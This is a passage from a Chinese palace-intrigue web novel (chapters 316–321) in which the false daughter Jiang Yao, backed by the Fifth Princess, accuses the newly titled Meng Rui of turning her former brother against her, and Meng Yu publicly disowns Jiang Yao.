高公公说了声“遵旨”,快步走向殿外。
谢清源带着孟瑾、孟瑜和孟蕊,向庆明帝告退,得到允许后,也向殿外走去,刚好与进殿的青城郡主厉青雪擦肩而过。
厉青雪今日身着华丽的绯红色宫装,衬得她明艳大气,神采飞扬。
路过孟蕊时,她还俏皮地冲孟蕊眨了眨眼。
孟蕊对厉青雪回以客气一笑。
厉青雪作为镇北王厉青鸿的亲妹妹,代兄长向陛下拜贺,是很正常的事,但孟蕊心中却涌起一股怪异之感。
未及细想,孟蕊已经跟着父兄的脚步,走出了泰和殿,看到五公主缠着高公公要进殿。
“高公公,你是不是听错了?每年除夕,本公主来向父皇拜年请安,父皇都会见我的,你再去问问。”
第316章 不必懂事
高公公守着殿门,对着五公主严肃道:
“公主殿下,咋家没有听错,陛下的旨意,是让您回去。”
“你……”
五公主看到谢清源带着孟瑾等人走出殿门,咽下了刚要说出口的话。
她眼神复杂地盯着孟瑾,带着一分忌惮、两分思念、三分爱慕、四分怨怪……
孟蕊站在孟瑾身边,感受到五公主的眼神,心里一个咯噔。
半年多前的太后寿宴上,五公主以献舞为名,求曹太后给她和孟瑾赐婚。
孟蕊现在想来,终于明白为何当时陛下会如此生气了。
不但责罚了五公主,还严惩了五公主的母妃,顺带所有皇子都要跟着学规矩。
孟瑾和五公主,他们是同父异母的亲兄妹呀!
庆明帝为此震怒,实属正常。
“微臣见过五公主殿下。”
谢清源对着五公主行礼。
孟蕊连忙跟上。
五公主只顾着盯住孟瑾看,一直没有喊起。
谢清源也不在意,自行站直,对儿女们招了招手,就继续往外走。
孟蕊没听到五公主的声音,依然躬身低头行礼的姿势,直到孟瑾拉起孟蕊的手,带着她往前走。
孟蕊跟上孟瑾的脚步,这才发现,谢清源和孟瑜已经走出三米远,都停下脚步回头看她。
五公主站在旁边,气呼呼地瞪着孟瑾。
“本公主还没说平身呢!”
孟瑾根本不理她,拉着孟蕊,目不斜视地走到谢清源和孟瑜身边。
谢清源微笑着对五公主拱了拱手。
“公主殿下没说吗?微臣方才听见,您是说了的呀。”
“本公主没说!”五公主反驳道。
谢清源笑呵呵地说:“公主殿下,难道是您记性不好?宫里的规矩没学够,故意在陛下殿外放肆?”
“我没有……”五公主瑟缩了一下,不禁压低声音。
她学了半年的规矩,才被放出来,可不想再被礼部的老顽固,和宫里的教习嬷嬷折磨了。
“没有就好,微臣还有事,携儿女先行告退。”
谢清源没再和五公主废话,转身带着儿女们离开。
五公主眼睁睁地望着他们走远,气得直跺脚。
高公公站在旁边,冷眼睨着五公主无能发怒,懒得做声。
他心里清楚得很,自半年前太后宫宴后,五公主就已经失去了圣宠。
聪明的就该夹起尾巴做人,但五公主偏偏要到处扬威,以彰显自己依然得宠,如此下去,总有自作自受的时候。
……
谢清源带着儿女们走出泰和殿,就遇上了礼部尚书贺维钦。
贺维钦有事找谢清源商议,两人说了几句话后,谢清源跟着贺维钦走了。
此时距离晚宴还有一段时间,孟瑾便带着孟瑜和孟蕊,去御花园逛一逛。
还没走到御花园,又见两名衣着华贵的公子,上前与孟瑜打招呼。
他们是孟瑜在羽林军中的同僚,也是武将家的公子,听说了孟瑜请长假的事,前来询问。
孟瑜发现这二人的目光,总有意无意瞄向孟蕊,心生不悦,带着他们去旁边说话,让孟瑾和孟蕊先行去御花园。
和孟瑾并肩走在御花园中,虽有吟秋和仆从们在身后跟着,但孟蕊还是觉得不太自在。
自从知道了孟瑾的真实身份,她再也无法用从前的心态去面对他了。
“大哥,方才在泰和殿,多谢你帮我说话。”
孟蕊踌躇着说。
“其实,我不着急离京的,二哥和华筠姐姐要成亲,我应该还会待很长时间,我……”
孟蕊不想违背本心说自己不会离开京城,但大哥为了她,与陛下对峙,虽然知道陛下不会把孟瑾怎样,但孟蕊心中依然忐忑不安。
“好了,那些都是小事,你不用一直记着。”
孟瑾偏头看向孟蕊,笑意清浅,眼角眉梢都染上暖意。
“蕊儿,你想做什么就去做,不用在意别人的想法,你可以不必这么懂事,可以自私一些,有我做你的后盾,你不用怕。”
孟蕊不由自主地停下脚步,抬头望向孟瑾,“大哥……”
她喉间哽咽,心潮涌动,此时此刻,却不知该说什么来表达自己的感动。
从小到大,前世今生,从没有人和她说过,让她不必懂事,让她自私……
“怎么了?你觉得为兄在说大话,护不住你?”
孟瑾抬手,摸了摸孟蕊的发顶,轻柔安抚。
“不是的……”孟蕊眸光闪动,“我自然相信大哥,只是人存于世间,很难完全不在意别人说的话,总有很多无奈,让人无法完全按照自己的想法生活。”
“是啊,所以世间便有了‘取舍’二字。”
孟瑾深深凝视孟蕊。
“无论蕊儿选择哪一条路,我都希望,那是出自你真心的选择,希望你能自在、圆满。”
孟蕊怔怔望着孟瑾,总觉得孟瑾和她说这些,有所深意。
“蕊儿妹妹!”纪华筠的喊声从身后传来。
孟瑾立刻收回手,背负在身后,和孟蕊一起回头望去。
纪华筠和永宁侯夫人,站在距离他们七八米远处,身边还跟着其他几位夫人和小姐们。
看到孟蕊的脸,纪华筠更高兴了,对永宁侯夫人说:
“娘,我就说那是蕊儿吧,您还不信,我带阿娴和燕燕,去找蕊儿玩,可以吗?”
永宁侯夫人与赵夫人、程夫人对视一眼,又看向孟瑾。
孟瑾是男子,他若在场,几个姑娘家,不好与孟蕊待在一处。
孟瑾了然,看向孟蕊,询问她的意见。
孟蕊点头,“大哥,我也想与纪小姐她们说说话。”
“好。”
孟瑾对着永宁侯夫人的方向,施施然行了一礼。
“各位夫人小姐安好,我正要去寻我二弟,这便要走了。”
说完,他直起身,向着来时的方向走去。
之后,纪华筠带着赵雅娴、程燕燕,再加上孟蕊,在御花园中找了处亭子,坐着聊天。
她们刚坐下,互相说了几句近况,就有不速之客闯了进来。
“孟蕊,本公主真没想到,你表面看起来温婉无害,背地里竟是个破坏人家兄妹感情的长舌妇!”
五公主在众人的簇拥下,走进了亭子,对着孟蕊劈头盖脸就是一顿骂。
孟蕊漠然抬眸,看到五公主的身边,跟着一脸得意的姜瑶,面无表情的吴宁清,还有其他几个孟蕊不熟的世家贵女。
第317章 狐假虎威
看到姜瑶的表情,孟蕊还有什么不明白的。
姜瑶一直想要与孟瑜套近乎要好处不成,便开始四处宣扬孟蕊的坏名声。
而五公主,因为对孟瑾爱而不得,求赐婚被陛下重罚,还有刚才谢清源落了五公主的面子,使得五公主记恨上了孟瑾和他全家,孟蕊这个妹妹,刚好包括在内。
“见到公主殿下,还不快行礼!”姜瑶狐假虎威地命令。
纪华筠撇了撇嘴,站起了身,和赵雅娴、程燕燕一起下蹲,对着五公主行礼。
“见过五公主殿下。”
五公主故意不喊起,她们只能继续保持着行礼的姿势。
“孟蕊,你怎么不对本公主行礼?”
五公主嗓音尖厉,指着孟蕊质问。
孟蕊闻言,才缓缓站起,转过身,对着五公主屈膝一礼,又立即站直。
“瑞嘉见过五公主殿下。”
“瑞嘉?”五公主疑惑蹙眉,“你不是叫孟蕊吗?”
“回殿下,臣女乃是陛下亲封的瑞嘉县主,公主殿下难道不知?”
孟蕊唇边勾起轻笑,恍然大悟般,盯着五公主说。
“哦,公主殿下可能真的不知,就是半年多前太后娘娘的寿宴上,公主您献舞求赐婚不成,被陛下责罚,被教习嬷嬷带走之后,陛下赐封臣女为瑞嘉县主。”
见五公主面色有了变化,孟蕊继续火上浇油。
“因此,公主在唤臣女时,请叫臣女的封号瑞嘉,而不是连名带姓地叫,这样很粗鲁,也不合规矩。
想来公主学了半年规矩,应该不会犯这样的小错吧?”
经孟蕊这样一说,五公主半年前的糗事,再度被在场众人想起。
五公主献舞求赐婚不成,被陛下责罚,禁足学了半年规矩,还害得其母妃从嫔位贬为美人,地位一落千丈。
而五公主当时请求赐婚的对象,就是孟蕊的兄长,如今深受圣宠的刑部郎中孟瑾。
五公主身后的几位世家小姐,都不由自主地后退一步,有些后悔听了五公主召唤,跟着一起来蹚这趟浑水。
纪华筠不等五公主喊起,直接结束了行礼,站起了身。
如果不是在宫里,对方不是五公主,纪华筠此刻会给孟蕊拍手叫好,五公主都不遵规矩,凭什么让她们一直蹲身行礼?
可惜,她给她娘做过保证,要低调行事,不引人注意,以便顺利嫁给孟瑜。
程燕燕见纪华筠起身了,也跟着起来。
赵雅娴偷瞄了五公主一眼,见五公主根本没注意到她们,才放心站直身子。
此时的五公主,听了孟蕊的话,面上闪过难堪。
她是真不知道孟蕊有了瑞嘉县主的封号,还是父皇亲封。
这不仅仅是一个封号,更意味着父皇的态度和恩宠。
五公主本没想来找孟蕊的麻烦,从泰和殿离开后,她遇上了吴宁清和姜瑶。
姜瑶见五公主面色不虞,询问原因。
五公主不想说自己被庆明帝拒之门外,只说谢清源一家对她不敬。
谈话间,姜瑶自然地把话题引导孟蕊身上,忧伤地说起自己想要与从小一起长大的兄长孟瑜说话,却因为孟蕊的挑拨离间,使得孟瑜对她避而不见的事。
五公主想到庆明帝也不见她,对姜瑶所言感同身受,加之她在谢清源和孟瑾身上都受了气,想从孟蕊身上讨回来。
但也没人告诉她,孟蕊被封为瑞嘉县主了呀。
她找孟蕊的麻烦,父皇会不会更不想见她?
五公主很纠结,原本嚣张的气焰,一下就委顿了不少。
“本公主确实不知你被父皇封为了瑞嘉县主,但你搬弄是非,挑拨姜小姐与她兄长关系的事,你如何解释?”
五公主把姜瑶推上前,与孟蕊对峙。
姜瑶双手交握在胸前,一副西子捧心的柔弱模样,可怜兮兮地瞅着孟蕊道:
“孟小姐,哦不,县主,我知道,你对我有所误会,但我们的误会已经说得很明白,你还让人废了我的武功,我为此缠绵病榻数月……”
她抽了抽鼻子,做出委曲求全的表情。
“这些,我都不计较了……可是,我与阿兄从小一起长大,十几年兄妹之情,哪是说断就能断的?
你在阿兄耳边说我的坏话,挑拨阿兄与我的关系,使得阿兄连话都不与我说,我真的太痛苦了!”
孟蕊冷冷看着姜瑶的表演,略微挑眉。
失去武功之后,姜瑶这个恶毒的女人,改走柔弱路子了?
“姜小姐颠倒黑白的本事,真是与日俱增,令本县主佩服。”
孟蕊嘴角勾起讥诮的笑,目光扫过周围盯着她和姜瑶看的众人。
“首先,姜小姐只有弟弟,没有兄长。
孟瑜是我一个人的兄长,你别叫得那么亲热,我会怀疑,你又要抢我的亲人。
其次,姜小姐的武功,是被镇北王打伤后,意外失去的,与本县主无关。
这一点,清清楚楚写在刑部的案卷中。
姜小姐若有质疑,该去找刑部和镇北王府要说法,而不是来找看起来更好欺负的我。
最后,请姜小姐谨记,谁主张,谁举证。
我没有对二哥说过污蔑你的坏话,如果你觉得有,那应该是我在表述事实,毕竟,你本来就很坏。
你隐瞒我生母和兄长的身份,不想让我找到家人。
你折磨刘嬷嬷逼迫她作伪证,企图篡改我的身份,想要逼我当你的奴婢。
这桩桩件件,都记录在京兆府的案卷中……”
“那些都是误会,你为何总揪着不放?”
姜瑶打断孟蕊的话,心虚地给吴宁清递眼色求助,想让吴宁清帮她说话。
吴宁清侧过头,避开她的目光,冷漠以对。
吴宁清会在这里,是因为四皇子选择了站队三皇子。
作为内定的三皇子正妃,吴宁清有义务,与四皇子的胞妹五公主交好。
对五公主和姜瑶的心思,吴宁清看得明白,但并不说穿,她不屑于她们所为,也不会为了孟蕊背叛她的立场,只冷眼旁观。
姜瑶没有得到吴宁清的回应,狠狠剜了她一眼,转头去扒五公主的胳膊,凄凄惨惨地说:
“公主殿下,您看,她都承认了,就是她挑拨离间的!”
五公主眼神迷茫。
她身居深宫,很少有出宫的机会,孟蕊言之凿凿,一下说了好多事,一会儿刑部,一会儿京兆府,还有案卷记录可查。
五公主越听越糊涂,怎么感觉孟蕊才像是受害者呢?
第318章 挑拨关系
五公主犹疑的目光,在孟蕊和姜瑶身上来回划过。
“你们说清楚些,怎么又扯到镇北王府、刑部和京兆府去了?到底是怎么回事?”
她一时气愤上头,跟着姜瑶来找孟蕊,但不意味着她是个任人利用的傻子。
孟蕊无语地扯了扯嘴角,这个五公主还不算太笨,不枉她特地提出这些府衙的名号,算是让五公主有所顾忌。
姜瑶见五公主没有继续为她说话,而是问起了过往事件,心中升起不满。
但她要借五公主的势,又不能表露出来,便试图将话题扭转回去。
“公主殿下,那些事说来话长,都是误会,刑部和京兆府都已经结案。
我今日好好地站在您面前,不恰恰能说明,我并不是孟小姐口中那种‘坏人’吗?不然,衙门为何不抓了我?”
五公主看着一脸真诚的姜瑶,觉得她说得有道理。
姜瑶察觉到五公主的表情变化,继续道:
“孟小姐刚才那番话,也证明了,她确实在我阿兄面前说我的不是,让我阿兄对我厌烦,现在连理都不理我,我只是想和从小一同长大兄长说说话,又有什么错?”
姜瑶说着,声音逐渐哽咽,仿佛受了天大的委屈,期期艾艾地望向孟蕊。
“孟小姐,哦不,瑞嘉县主,您大人有大量,开开恩,和阿兄解释一下,你之前说我的那些话,都是假的,别让阿兄不理我……呜呜……”
姜瑶说得好不可怜,说到伤心处,还落下几滴泪来。
这泪水不全然是假意,以她如今的处境,确实挺值得哭的。
亲生父亲安乐侯,沉迷女色,流连姨娘房中。
亲生母亲沈氏,不会管家,终日只会诉苦。
不成器的亲弟弟姜铭昊,自从被天义书院退了学,就再不愿意读书上进,整日不是在家中睡大觉,就是出门与狐朋狗友玩乐。
而姜瑶自己,空顶着侯府嫡女的名头,手中却没有多少使用银子,想买的衣裳首饰买不到,还不如她在江州做孟瑶时过得潇洒。
加之晋国公府出事,安乐侯上门退了姜瑶和齐轩的亲事,姜瑶的名声也受到影响。
即使三皇子对她一往情深,但迫于形势,姜瑶只能做三皇子侧妃,这让一贯心高气傲的姜瑶如鲠在喉。
孟天与她断绝了母女关系,谢府的好处她也捞不到。
于是,姜瑶就将目标,锁定在了任职羽林军左郎将的孟瑜身上。
孟瑜是与姜瑶一同长大的兄长。
姜瑶记得,孟瑜小时候对她言听计从。
姜瑶想要吃什么,玩什么,只要说一句话,小孟瑜就噔噔噔地跑出去,一会儿就给她带回来。
有时候,姜瑶做了错事,黑锅甩给孟瑜头上,孟瑜也一声不吭地认下,替姜瑶接受母亲孟天的惩罚。
后来,他们渐渐长大,孟瑜痴迷练武,姜瑶嫌练武太累,两人就少在一起玩了。
再往后,孟瑜跟随孟逐风离开闯荡江湖,姜瑶很少见到孟瑜。
姜瑶一直觉得,她与孟瑜是一起长大的情分,孟瑜就该一辈子做大哥关心爱护她。
自从几个月前,姜瑶知道孟瑜回到京城,住进谢府,还在宫中羽林军任职,她就决定要再次攀上孟瑜,让孟瑜为她所用。
刚开始,她想做得自然一些,让人打听到孟瑜出门的时间,想方设法地在街上,制造与孟瑜的偶遇。
可是,孟瑜明明看到了她,却目不斜视地骑马走过,根本不理她。
如此一个月后,姜瑶开始主动上前,与孟瑜打招呼,想要上演一场兄妹情深。
但她都拿起帕子,喊着“阿兄”,开始动情哭泣了,孟瑜却视她如无物,转身就走。
之后,三皇子安插在谢府的眼线被拔除,姜瑶失去了孟瑜出门的具体时间,她再按之前的时间去找,很少能在街上见到孟瑜。
就算遇到,孟瑜也不理她,直接转身就走,姜瑶连一句话都说不上,更别谈什么重叙兄妹旧情了。
为此,姜瑶向三皇子哭诉过一场。
三皇子怜惜她,专门找到在宫中当差的孟瑜,要求孟瑜去见姜瑶。
姜瑶以为,用三皇子的身份,总能压制孟瑜来见她。
但她没想到,孟瑜不但不理睬,还推倒了三皇子,甚至干脆连羽林军的差事也不干了,每日连谢府门都不出。
今日,姜瑶本想借着宫宴的机会,再去接近孟瑜。
她要问个清楚,孟瑜如此冷暴力,到底是什么意思?
还没找见孟瑜,姜瑶跟着吴宁清,先见到了五公主。
听到五公主说谢家人对她无礼,姜瑶找到机会,将话题往孟蕊身上扯。
她倒要看看,孟瑜对她避而不见,对孟蕊这个亲妹妹又会如何?
姜瑶装模作样地抹了眼泪,楚楚可怜地瞅着孟蕊。
“县主,求求您,行行好,不要再挑拨阿兄与我的关系了!
您已经挑拨得阿娘与我断绝母女关系,我不能再失去阿兄这个亲人了!”
孟蕊冷冷瞧着姜瑶,她如今这装腔作势、装柔弱的本事,倒是和安乐侯夫人沈氏越来越像,果然不愧是亲母女。
孟蕊深知,以姜瑶扭曲黑白的本事,无论自己如何辩解,她总能曲解她的意思。
再说下去,不过是浪费唇舌,而且大哥刚刚才告诉她,让她可以自私一点。
孟蕊懒得再和姜瑶掰扯,直接对着五公主福了福身。
“公主殿下,我要去找我兄长,请容我先行告退。”
“你这就要走?”
姜瑶抹着眼泪,皱着眉看她。
“你还没答应我,不再挑拨我与阿兄的关系呢!”
孟蕊不理她,直起身,望着五公主,等待五公主说话。
五公主看着孟蕊,犹豫着是否放行。
周围跟来的世家小姐们,看看姜瑶这副饮泣吞声的委屈样,又看看孟蕊无动于衷的冷酷表情,小声议论起来。
“说起来,瑞嘉县主手段够狠,孟夫人和姜小姐十多年母女之情,硬是被瑞嘉县主逼得断绝了关系。”
“不止呢,瑞嘉县主心也狠,她自己也和安乐侯府断绝了关系。”
“可不是?姜小姐都哭成泪人了,她不但不安慰,还要离开,真是不近人情。”
……
纪华筠忍不下去了,她走到说孟蕊不近人情的小姐面前,语气不善道:
“罗小姐,你心善,你近人情,不如你把自己的兄长,分一个给姜小姐啊!”
第319章 兄妹情谊
罗小姐看着纪华筠,觉得莫名其妙。
“纪小姐,我家兄长虽多,但又不是姜小姐的兄长,怎能给她?”
“这不就对了,孟二公子姓孟,是孟小姐的兄长,也不是姜小姐的兄长!”
纪华筠双目炯炯,严肃地盯着罗小姐,纠正道。
“你们要是觉得姜小姐可怜,要同情她,大可把自己的兄长分给她,而不是慷他人之慨,跟在这里起哄。”
罗小姐被说得面红耳赤,“孟二公子与姜小姐曾是兄妹关系嘛,我家兄长又没有与姜小姐从小一起长大,做什么要分我家的?”
“孟二公子不想和姜小姐来往,自有他的原因,你们不了解,就不该胡乱评价他人。”
纪华筠加重了语气,严厉的目光扫过刚才说嘴孟蕊的几位小姐。
“姜小姐所言,不过是她的一面之词,她说她与孟二公子兄妹情深,你们还真信啊?
依我看,孟二公子不愿意搭理她,说明不喜欢这个妹妹,她定是做了什么惹孟二公子不快之事,让孟二公子厌弃。”
那几位小姐面面相觑,对纪华筠的教训不服气,但她们家世不及纪华筠,不敢反驳,怕给家中惹事。
程燕燕走到纪华筠身边,附和道:
“纪姐姐是孟二公子的未婚妻,她说的话,你们难道还不相信吗?”
姜瑶猛地看向纪华筠,她是听说孟瑜被皇帝赐婚了,未来妻子是永宁侯府嫡女,没想到就是眼前这个巧言善辩的清丽女子。
五公主也看向纪华筠,好奇地问:
“纪小姐,你知道孟二公子为何不与姜小姐说话吗?是否是孟……瑞嘉县主在背后做了什么不好的事?”
纪华筠抿了抿唇,她当然知道啦,孟瑜和她说过姜瑶的事。
小时候的姜瑶,体弱粘人,像一块狗皮膏药一样,总是粘着孟瑜,让孟瑜帮她做这做那,一有不高兴,就向孟天告状,害得孟瑜被训斥。
孟天为了照顾经常生病的姜瑶,对儿子孟瑜也少了许多关爱。
孟瑜一点都不喜欢心机又任性的姜瑶,他甚至觉得姜瑶抢走了自己的母亲,所以他小小年纪就离开家,跟随师父孟逐风在江湖历练。
但这些,都是孟瑜只告诉纪华筠的秘密,纪华筠才不想让其他女子知道呢。
“回公主殿下,臣女只听孟二公子略微提过,他很早就离开家,与姜小姐不熟,更说不上有什么兄妹之情。”纪华筠含糊答道。
“你胡说!”
姜瑶着急得脱口而出。
在众人诧异的目光中,她复又做出被误解的受屈模样。
“纪小姐,我知道你与瑞嘉县主关系好,但你也不能为了帮她说谎啊!”
姜瑶睁大泪眼,瞅着纪华筠道。
“我与阿兄,从小一起长大,怎么可能不熟?我们兄妹感情很好的……”
“谁与你感情好了?”
一道突兀的深沉男声,从不远处的小径上传来。
孟瑜阔步行来,至众小姐所在亭子外五步之遥处停下脚步,对着五公主的方向一礼。
“孟瑜见过五公主殿下。”
“二哥?”孟蕊看到孟瑜,心中一喜。
她又看到从孟瑜身后偷偷溜回纪华筠身边的丫鬟碧波,便明白是纪华筠提前派碧波去请了孟瑜过来。
“阿兄!”姜瑶也不甘落后,冲着孟瑜喜悦地唤道。
孟瑜略微抬眸,对孟蕊眨了下眼,完全没有理会姜瑶那边。
“孟二公子请起。”
五公主这次没有为难,让孟瑜起身后,直接问道。
“你来得刚好,本公主问你,你与姜小姐是不是从小一起长大的兄妹?瑞嘉县主有没有挑拨你们兄妹关系,不许你和姜小姐说话?”
孟瑜冷着一张脸,笃定回答:
“回公主,卑职的同胞妹妹,只有一人,那便是瑞嘉县主孟蕊。
因为安乐侯府的失误,致使我们兄妹从小失散,虽未一同长大,但相逢之后,一见如故,感情深厚,不容旁人破坏。”
说着,孟瑜眼含警告,瞪向姜瑶。
五公主没料到孟瑜会这样说,表情怪异地看向姜瑶。
其他世家小姐们,纷纷看好戏般,向姜瑶投去注目。
姜瑶感受到周围质疑的目光,咬了咬牙,豁了出去,抹着泪向孟瑜扑去。
“阿兄,我才是和你从小一起长大的妹妹啊!”
孟瑜向侧后方退了两步,姜瑶扑了个空,差点没有站稳。
“姜小姐慎言,我只有一个妹妹,但不是你!”
孟瑜毫不留情地与姜瑶划清界限。
“请你不要在外散播,关于我妹妹蕊儿的不实谣言。
蕊儿没有挑拨我们之间的关系,是我不想理你,怕你又缠上我,要我给你做事。”
“你说谎!”
姜瑶不可置信地瞪着孟瑜。
“是不是孟蕊让你这样说的?她就是在挑拨我们兄妹的感情,阿兄,你不能听她的!”
孟瑜盯着姜瑶,嘴角扯出一抹冷笑,“你这副嘴脸,我早就看够了,我和你连兄妹都不是,哪来的感情?更不用谁来挑拨。”
姜瑶怔住了,她完全没有想到,当着这么多人的面,孟瑜竟不顾多年情谊,如此说她。
她记忆中的孟瑜,是小时候憨头憨脑、乖乖听她使唤的小男孩,是长大后不苟言笑痴迷武学的少年。
她记得孟瑜不喜说话,她以为孟瑜不善言辞。
但今天,孟瑜言辞犀利,让姜瑶颜面扫地。
“阿兄,我们毕竟从小一起长大,你不能为了维护孟蕊,就否认我们这么多年的兄妹情谊……”
姜瑶放软了语气,试图以儿时回忆唤起孟瑜对她的感情。
“你还记得吗?小时候,你最疼我了,你最喜欢吃的糖饼,都会留着给我吃。”
孟瑜厌恶地看着她,“是啊,因为我不给,你就哭闹,和阿娘告状,说我欺负你,然后我就要挨训。”
“我没有……”姜瑶弱弱地反驳,“那每次我生病,你都会和阿娘一起照顾我……”
“那是因为你身体弱,总在生病,我担心阿娘不分昼夜地照顾你,会累得病倒,我为阿娘分忧,不是关心你。”
孟瑜语气冰冷,不带一丝情感。
“有好几次,我看到你又病了,甚至会觉得,你要是病死就好了,那样的话,我和阿娘就不用再管你了。”
第320章 自小厌恶
“你……你竟想我死?”
姜瑶震惊得无以复加,呆呆望着孟瑜,半晌回不过神来。
孟瑜放出的狠话,也让在场的其他人惊愕不已。
谁家都有几个兄弟姊妹,日常住在一起,总有磕碰矛盾的时候,有时内宅争斗,严重到危及生死,也不是没有见过。
但世家大族要脸面,内里斗得再凶,在外边也保持着面上的平和,没有像孟瑜这样,开口就说曾想要姜瑶死的。
五公主也惊讶得微微张嘴,二皇兄和三皇兄斗得再狠,也没互相放话要杀了对方呀。
她此时终于发现,孟瑜真的很讨厌姜瑶,是恨不得姜瑶去死的那种讨厌。
吴宁清嘴角勾起一抹讥诮,仿佛在欣慰,终于有人和她有同样的感受了。
纪华筠早就知道孟瑜厌恶姜瑶,此时听到孟瑜的话,没什么反应。
孟蕊对此感到诧异,她知道孟瑜一直躲着姜瑶,以为孟瑜是知道了姜瑶入京后做下的恶事,不待见姜瑶,却没想到,孟瑜和姜瑶之间,原本就有这么大的矛盾。
姜瑶逐渐从震惊中缓过来,意识到现在的孟瑜,已经不再是她记忆中,那个对她百依百顺的兄长了。
脑中快速思索,姜瑶眼珠一转,捂住心口,犹如深受刺激般,怯怯对孟瑜道:
“阿兄,我小时候总是生病,劳烦你和阿娘照顾,我也很歉疚。
可是我自打出生起,身子就不好,这又不是我的错,你怪我,我也太委屈了。”
“但你不好好喝药习武,偷奸耍滑,就是你的错!”
孟瑜嗓音冷厉,直击姜瑶的错处。
“阿娘好不容易找全了珍稀药材,熬好了药,送到你嘴边,就是为了去掉你从娘胎里带出的弱症,但你居然因为嫌苦,时常偷偷把药倒掉。
师父耗费数月,专门为你创的拳法,让你提升体质,少生病,你偷懒不愿意练,就算被阿娘逼着练习,也不认真,练不到位,根本达不到强身健体的效果。
你但凡好好喝药习武,就不会总是生病,也不会麻烦到别人!”
姜瑶心虚地别过头,孟瑜所说,都是事实。
那个药黏腻苦涩,她至今还记得那个恶心的味道,每次喝药时,她都快吐了,实在喝不下去,才倒掉了一部分。
至于习武,她不是不想练,但也没人告诉她,习武有那么难,那么苦啊。
姜瑶羡慕武林豪侠的武功,武侠小说里的主角,几年弹指一挥间,就练成绝世武功。
但当她自己练武时,每一天的练习,都是折磨。
早上天不亮就要起床,站桩一站就是一个时辰,中间都不让她休息。
练完了基础功,下午还要练拳法,直到天快要黑时,才能休息。
一天下来,腰酸背疼,浑身都不舒服。
她真的已经尽力了。
可在武学天赋惊人的孟瑜面前,她的努力,毫无亮点。
现在,她的武功被废,更觉得那么多年习武受的苦,都是白受罪。
想到这里,姜瑶就怒不可遏。
“我现在武功被废了,你说这些又有什么用?”
姜瑶也不装柔弱了,抹去眼角的泪痕,指着孟蕊,怒视孟瑜。
“还是你唯一认可的好妹妹孟蕊,害得我没了武功!这你怎么说?”
孟蕊正要张口解释,就听见孟瑜轻飘飘地说。
“你那点微末的武功,废与不废,有什么区别?”
孟瑜双手负在身后,瞥向姜瑶的眼神嫌恶。
“你如果从小好好习武,不偷懒耍赖,将武功练到顶尖水准,谁又能轻易废了你的武功?
这世间高手如云,你原地踏步,不精进武艺,就会被比你更强的人打倒。
武艺不精,弱就是原罪。
你自己不成器,还总怪别人,该好生反省才是。”
“我……”姜瑶面色铁青,她从未听过孟瑜如此贬低她。
她咬了咬牙,指向孟蕊的手一抖,带着最后一丝侥幸,问道:
“是不是孟蕊和你说了什么?阿兄你从前对我那样好,怎么突然就变得……变得让妹妹我不认识了。”
孟瑜冷漠的目光扫过周围旁观的众人,最后落在姜瑶身上。
“姜瑶,你从来都不是我的妹妹,你是鸠占鹊巢的入侵者,你是窃取我与蕊儿十几年兄妹时光的小偷。
你从前怎么利用我的,到京城后又是怎么欺负我妹妹蕊儿的,你我都心知肚明。
这些,看在安乐侯府养我妹妹一场的份儿上,我都可以不计较,但你休想得寸进尺!
你妄图踩踏蕊儿的名声,还企图继续利用我?当这里所有人都是傻子吗?
现在,你和蕊儿各回各家,我不再是你的兄长,以后见面,我们就当不认识的陌生人。”
孟瑜对姜瑶的厌恶经久历年,从前,是看在母亲孟天的面子上,才忍耐了下来。
后来,是因为查到姜瑶与南照奸细有关,为了继续深入调查,不想打草惊蛇,所以放任她继续蹦跶。
回京后,在街上遇到姜瑶,他一眼就看出这个心机深沉的女子想要做什么。
装作不认识,不理会,已经是他可以给姜瑶的最大仁慈。
“陌生人?”姜瑶失落地收回手,愣愣看着孟瑜,“所以你就是故意不理我?”
“对!”
孟瑜掷地有声地承认。
“没有任何人的挑拨,是我从小就厌恶你,好不容易摆脱了你这种人,我不想再和你扯上任何关系!
不理会你,是为了保全两家的脸面。
你非要闹得人尽皆知,那我也不怕和你在这里丢脸。”
周围再度响起议论声,焦点从孟蕊变成了姜瑶。
“原因竟是这样,我要是被人这样说,也觉得好丢脸啊!”
“姜小姐太自以为是了,以为和孟二公子兄妹情深,实际上人家可讨厌她了。”
“是啊,要是我妹妹这么不听话,我也不喜欢,更何况她还是个假妹妹。”
“而且真妹妹瑞嘉县主,比她长得漂亮又温柔,要我选,也选真妹妹。”
“孟二公子的做法已经很温和了,只是不理她而已,她却不识趣,非要闹成这样,唉!”
……
姜瑶听到那些世家小姐们的蛐蛐声,气得脸色发白。
她恨恨瞪了眼孟蕊,嘀咕了句:
“果然不愧是小说女主假千金,所有人都喜欢你。”
然后,姜瑶便捂着脸,装作羞愤不甘的样子,快步跑走了……
第321章 掩耳盗铃
姜瑶突然跑远,让在场众人都猝不及防。
孟瑜倒是能够阻拦姜瑶,但他没兴趣,连姜瑶的背影都懒得看。
“她就这样跑了?”
纪华筠指着跑得快没影的姜瑶,对同样惊讶的五公主说。
“公主殿下,姜小姐都没和您告退呢,她如此不知礼数,不守宫规,您可不能坐视不管!”
五公主刚才接收到的消息太多,现在还没太反应过来。
原来表面看起来可怜柔弱的姜瑶,说出的话,没一句真的。
孟瑜是真的从小就讨厌姜瑶,根本不存在什么兄妹情深,更没有孟蕊的挑拨离间,是孟瑜讨厌姜瑶到根本不想搭理她。
五公主后知后觉地发现,自己好像被姜瑶利用了,心中升起几分怒意。
“姜小姐礼数不周,确实该罚!”
五公主犹豫着,要给姜瑶什么惩罚时,一直没有说话的吴宁清开口了。
“五公主殿下容禀,姜小姐是受了刺激,一时情急,才忘记向您行礼告退的,还请殿下饶了她这一次。”
吴宁清也不想给姜瑶善后,但她的姑母吴贵妃,已经定了姜瑶为三皇子侧妃,都是一条船上的人,按理她应当如此。
五公主记恨姜瑶利用她出头,不想轻轻放下,看着吴宁清蹙起眉。
她身边跟着的大宫女,附在她耳边小声提醒:
“殿下,多一事不如少一事,姜小姐是三殿下的人,四殿下交代过,不要与他们为难,咱们就卖他们一个人情吧。”
五公主这才想起来,她的同胞哥哥四皇子,已经站队了三皇子,同气连枝,她不乐意,也得放下。
“吴小姐说得有理,本公主看在你的面子上,就暂且绕过姜小姐这次,以后,你可得好好管教她。”
吴宁清和姜瑶都要入三皇子府的事,不是秘密。
吴宁清为正妃,姜瑶为侧妃,正妃管教侧妃,理所应当。
“多谢殿下开恩。”吴宁清规矩行礼。
纪华筠不满地撇了撇嘴,孟蕊悄悄扯了扯她的衣袖,纪华筠终是没再说什么。
这时,一名太监小跑着过来,对着五公主请安。
